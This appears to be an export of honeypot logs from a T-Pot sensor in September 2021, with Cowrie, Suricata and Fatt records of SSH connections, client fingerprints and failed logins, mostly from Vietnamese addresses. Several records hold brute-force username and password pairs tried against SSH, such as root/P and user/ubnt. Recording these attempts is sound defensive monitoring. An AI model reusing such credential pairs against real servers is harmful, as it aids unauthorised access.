22365	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:05.738452+03	2021-09-20 14:15:04.845614+03	{"_id": "sgbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40312, "timestamp": "2021-09-20T11:07:05.738452", "@timestamp": "2021-09-20T11:07:05.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22366	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:05.736268+03	2021-09-20 14:15:04.846613+03	{"_id": "tAbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ae995b2b38d4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:05.736268Z", "@timestamp": "2021-09-20T11:07:05.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
41085	192.168.20.116	109.199.241.180	Suricata	2021-09-20 16:03:35.811678+03	2021-09-20 16:15:02.270747+03	{"_id": "8QZOA3wBvYTbRNuEA4wH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56488, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 846699226948254, "@version": "1", "in_iface": "enp5s0", "src_port": 41678, "dest_port": 53, "timestamp": "2021-09-20T13:03:35.811678Z", "@timestamp": "2021-09-20T13:03:35.811Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22368	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:05.298064+03	2021-09-20 14:15:04.849614+03	{"_id": "xQbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56826, "timestamp": "2021-09-20T11:07:05.298064", "@timestamp": "2021-09-20T11:07:05.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22369	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.208148+03	2021-09-20 14:15:04.850613+03	{"_id": "xgbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/P] failed", "session": "9d3b02d91fa6", "@version": "1", "password": "P", "username": "root", "timestamp": "2021-09-20T11:07:05.208148Z", "@timestamp": "2021-09-20T11:07:05.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22370	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.300313+03	2021-09-20 14:15:04.851614+03	{"_id": "xwbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "53556f190532", "@version": "1", "timestamp": "2021-09-20T11:07:05.300313Z", "@timestamp": "2021-09-20T11:07:05.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22371	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:05.411272+03	2021-09-20 14:15:04.853614+03	{"_id": "yAbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [dvs/dvs] failed", "session": "e630dcd0d392", "@version": "1", "password": "dvs", "username": "dvs", "timestamp": "2021-09-20T11:07:05.411272Z", "@timestamp": "2021-09-20T11:07:05.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22372	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.798074+03	2021-09-20 14:15:04.854613+03	{"_id": "yQbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "536182ae278d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:05.798074Z", "@timestamp": "2021-09-20T11:07:05.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22373	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.846676+03	2021-09-20 14:15:04.856613+03	{"_id": "ygbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [suporte/suporte123] failed", "session": "5a7cfe368c62", "@version": "1", "password": "suporte123", "username": "suporte", "timestamp": "2021-09-20T11:07:05.846676Z", "@timestamp": "2021-09-20T11:07:05.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22374	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.039187+03	2021-09-20 14:15:04.857613+03	{"_id": "ywbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ae995b2b38d4", "@version": "1", "timestamp": "2021-09-20T11:07:06.039187Z", "@timestamp": "2021-09-20T11:07:06.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22375	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.195488+03	2021-09-20 14:15:04.859613+03	{"_id": "zAbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [user/ubnt] failed", "session": "8d54501e455c", "@version": "1", "password": "ubnt", "username": "user", "timestamp": "2021-09-20T11:07:06.195488Z", "@timestamp": "2021-09-20T11:07:06.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22376	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:06.013158+03	2021-09-20 14:15:04.860613+03	{"_id": "1wbjAnwBvYTbRNuEWwaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2110194395505895, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40312, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.013158Z", "@timestamp": "2021-09-20T11:07:06.013Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22377	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:06.014071+03	2021-09-20 14:15:04.861613+03	{"_id": "2AbjAnwBvYTbRNuEWwaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1168731121773331, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53032, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.014071Z", "@timestamp": "2021-09-20T11:07:06.014Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22378	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.51994+03	2021-09-20 14:15:04.862613+03	{"_id": "8wbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35150 (192.168.176.2:22) [session: 447202b7f8a7]", "session": "447202b7f8a7", "@version": "1", "protocol": "ssh", "src_port": 35150, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.519940Z", "@timestamp": "2021-09-20T11:07:06.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22379	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:06.038372+03	2021-09-20 14:15:04.864612+03	{"_id": "7QbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 